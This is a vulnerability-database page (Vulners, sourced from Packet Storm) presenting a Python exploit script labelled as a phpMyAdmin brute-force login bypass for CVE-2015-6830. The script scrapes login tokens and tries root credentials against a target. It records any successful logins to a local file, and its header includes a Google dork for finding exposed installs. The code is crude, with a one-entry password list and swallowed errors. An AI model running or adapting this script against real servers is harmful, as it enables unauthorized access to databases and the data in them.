Lucene search
K

๐Ÿ“„ phpMyAdmin 3.0 Bruteforce Login Bypass

๐Ÿ—“๏ธย 18 Aug 2025ย 00:00:00Reported byย Nikola MarkovicTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 84ย Views

PHPMyAdmin 3.0 brute force login bypass using root with password 123; CVE-2015-6830.

Related
Code
"""
    Exploit-Title: PHPMyAdmin 3.0 - Bruteforce Login Bypass
    Author: Nikola Markovic ([email protected])
    Date: 2023
    Google-Dork: intext: phpMyAdmin
    Vendor: https://www.phpmyadmin.net/
    Version: >3.0 & 4.3.x before 4.3.13.2 and 4.4.x before 4.4.14.1
    Tested on: win/linux/unix
    Python-Version: 3.0
    CVE : CVE-2015-6830
    """
    import urllib.request
    import urllib.parse
    import urllib
    import threading
    import http.cookiejar
    import re
    import sys
    
    def CheckLogin(target):
    	passwords = ["123"]
    	try:
    		for password in passwords:
    			print("Try Host: "+target+" with Combo: root/"+password+"!\n")
    			load_token = urllib.request.Request(target)
    			fetch_token = urllib.request.urlopen(load_token,timeout=2).read()
    			token = re.findall(r'name="token" value="([\w\.-]+)"',fetch_token.decode('utf-8')) # token fetching
    			session = re.findall(r'name="set_session" value="([\w\.-]+)"',fetch_token.decode('utf-8')) ## session token fetching
    			login_data = urllib.parse.urlencode({ 'pma_username': "root", 'pma_password': password,'set_session': session[0], 'token':token}) ## injecting payload to bruteforce
    			login = login_data.encode()
    			cookies = http.cookiejar.CookieJar()
    			opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies))
    			do_it = opener.open(target,login,timeout=2)
    			check = do_it.read()
    			if b"index.php?route=/logout" in check:
    				f = open('bruted_pma','a')
    				f.write(target+" Bruted: root/"+password+"\n")
    				f.close()
    	except:
    		pass
    
    if sys.argv[1]:
    		t = threading.Thread(target=CheckLogin,args=(str(sys.argv[1]),))
    		if threading.active_count() < 500:
    			t.start()
    		else:
    			t.start()
    			t.join()

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Aug 2025 00:00Current
9.5High risk
Vulners AI Score9.5
CVSS 25
EPSS0.21219
84